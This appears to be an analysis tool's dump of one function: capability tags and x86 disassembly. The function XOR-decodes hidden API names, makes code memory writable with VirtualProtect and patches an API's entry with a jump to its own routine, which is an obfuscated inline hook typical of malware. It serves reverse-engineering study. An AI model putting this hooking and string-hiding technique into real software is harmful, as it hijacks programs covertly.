Function at 0x403030
Capabilities:
Allocate or change rwx memory
Encode data using xor
Execute shellcode via indirect call

Disassembly:
push ebx
mov ebx, esp
sub esp, 8
and esp, 0xfffffff0
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
sub esp, 0x38
cmp dword [0x444d48], 0
push esi
push edi
jne 0x403481
mov eax, dword fs:[0x2c]
mov edx, dword [eax]
mov dword [ebp - 8], edx
mov eax, dword [edx + 0x280]
test al, 1
jne 0x4030cf
movups xmm1, xmmword [0x435574]
or eax, 1
mov dword [edx + 0x31c], 0
movups xmm0, xmmword [0x435564]
mov dword [edx + 0x280], eax
movaps xmmword [ebp - 0x20], xmm1
pextrw eax, xmm1, 5
movups xmmword [ebp - 0x30], xmm0
mov dword [edx + 0x320], 0
movups xmm0, xmmword [ebp - 0x26]
mov word [edx + 0x324], 0
psrldq xmm1, 0xc
movups xmmword [edx + 0x326], xmm0
mov word [edx + 0x336], ax
movd eax, xmm1
mov byte [edx + 0x338], al
cmp byte [edx + 0x325], 0
jne 0x4030f1
lea esi, [edx + 0x326]
xor edx, edx
lea ecx, [esi + edx]
lea eax, [edx + 0x76]
inc edx
xor byte [ecx], al
cmp edx, 0x13
jb 0x4030e0
mov edx, dword [ebp - 8]
mov eax, dword [edx + 0x128]
mov byte [edx + 0x325], 1
test al, 1
jne 0x40318c
or eax, 1
mov dword [edx + 0x1b4], 0
mov dword [edx + 0x1b8], 0
mov word [edx + 0x1bc], 0
mov dword [edx + 0x128], eax
mov ax, word [0x435782]
mov byte [edx + 0x1be], al
mov byte [edx + 0x1bf], ah
mov eax, dword [0x435784]
shr eax, 8
mov byte [edx + 0x1c1], al
mov ax, word [0x435786]
mov byte [edx + 0x1c2], al
mov byte [edx + 0x1c3], ah
mov eax, dword [0x435788]
shr eax, 8
mov byte [edx + 0x1c5], al
mov ax, word [0x43578a]
mov byte [edx + 0x1c0], 0x13
mov byte [edx + 0x1c4], 0x1f
mov byte [edx + 0x1c6], al
mov byte [edx + 0x1c7], ah
cmp byte [edx + 0x1bd], 0
jne 0x4031b1
lea esi, [edx + 0x1be]
xor edx, edx
nop dword [eax]
lea ecx, [esi + edx]
lea eax, [edx + 0x75]
inc edx
xor byte [ecx], al
cmp edx, 0xa
jb 0x4031a0
mov edx, dword [ebp - 8]
lea eax, [edx + 0x326]
mov byte [edx + 0x1bd], 1
push eax
lea eax, [edx + 0x1be]
push eax
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov ecx, dword fs:[0x2c]
mov edi, eax
mov ecx, dword [ecx]
mov edx, dword [ecx + 0x12c]
test dl, 1
jne 0x403216
or edx, 1
mov dword [ecx + 0x1c8], 0
mov dword [ecx + 0x1cc], 0
mov word [ecx + 0x1d0], 0
mov dword [ecx + 0x12c], edx
mov byte [ecx + 0x1d2], 0xcc
cmp byte [ecx + 0x1d1], 0
jne 0x403226
xor byte [ecx + 0x1d2], 0x76
mov al, byte [ecx + 0x1d2]
mov byte [ebp - 0x10], al
mov eax, dword [ecx + 0x134]
mov byte [ecx + 0x1d1], 1
test al, 1
jne 0x40326d
or eax, 1
mov dword [ecx + 0x268], 0
mov dword [ecx + 0x26c], 0
mov word [ecx + 0x270], 0
mov dword [ecx + 0x134], eax
mov byte [ecx + 0x272], 0x76
cmp byte [ecx + 0x271], 0
jne 0x40327d
xor byte [ecx + 0x272], 0x76
mov eax, dword [ecx + 0x398]
mov byte [ecx + 0x271], 1
test al, 1
jne 0x4032bb
or eax, 1
mov dword [ecx + 0x1e4], 0
mov dword [ecx + 0x1e8], 0
mov word [ecx + 0x1ec], 0
mov dword [ecx + 0x398], eax
mov byte [ecx + 0x1ee], 0x77
cmp byte [ecx + 0x1ed], 0
jne 0x4032cb
xor byte [ecx + 0x1ee], 0x77
mov eax, dword [ecx + 0x318]
mov byte [ecx + 0x1ed], 1
test al, 1
jne 0x403309
or eax, 1
mov dword [ecx + 0xa8], 0
mov dword [ecx + 0xac], 0
mov word [ecx + 0xb0], 0
mov dword [ecx + 0x318], eax
mov byte [ecx + 0xb2], 0x77
cmp byte [ecx + 0xb1], 0
jne 0x403319
xor byte [ecx + 0xb2], 0x77
mov eax, dword [ecx + 0xc]
mov byte [ecx + 0xb1], 1
test al, 1
jne 0x403357
or eax, 1
mov dword [ecx + 0x25c], 0
mov dword [ecx + 0x260], 0
mov word [ecx + 0x264], 0
mov dword [ecx + 0xc], eax
mov byte [ecx + 0x266], 0x78
cmp byte [ecx + 0x265], 0
jne 0x403367
xor byte [ecx + 0x266], 0x78
mov eax, dword [ecx + 0x258]
mov byte [ecx + 0x265], 1
test al, 1
jne 0x4033a5
or eax, 1
mov dword [ecx + 0x1d8], 0
mov dword [ecx + 0x1dc], 0
mov word [ecx + 0x1e0], 0
mov dword [ecx + 0x258], eax
mov byte [ecx + 0x1e2], 0x87
cmp byte [ecx + 0x1e1], 0
jne 0x4033b5
xor byte [ecx + 0x1e2], 0x78
mov al, byte [ecx + 0x1e2]
mov byte [ebp - 0xb], al
mov eax, dword [ecx + 0x1f0]
mov byte [ecx + 0x1e1], 1
test al, 1
jne 0x4033fc
or eax, 1
mov dword [ecx + 0x44], 0
mov dword [ecx + 0x48], 0
mov word [ecx + 0x4c], 0
mov dword [ecx + 0x1f0], eax
mov byte [ecx + 0x4e], 0x9a
cmp byte [ecx + 0x4d], 0
jne 0x40340c
xor byte [ecx + 0x4e], 0x78
mov al, byte [ecx + 0x4e]
mov esi, dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov byte [ecx + 0x4d], 1
movups xmm0, xmmword [edi]
mov byte [ebp - 1], al
lea eax, [ebp - 8]
push eax
push 0x40
movups xmmword [0x444d4c], xmm0
push 0x20
movups xmm0, xmmword [edi + 0x10]
push 0x444d4c
movups xmmword [0x444d5c], xmm0
call esi
lea eax, [ebp - 8]
mov dword [ebp - 0xf], 0x402f10
push eax
push 0x40
push 7
push edi
call esi
mov eax, dword [ebp - 0x10]
mov dword [edi], eax
mov ax, word [ebp - 0xc]
mov word [edi + 4], ax
mov al, byte [ebp - 1]
mov byte [edi + 6], al
lea eax, [ebp - 8]
push eax
push dword [ebp - 8]
push 7
push edi
call esi
mov dword [0x444d48], 0x444d4c
pop edi
pop esi
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret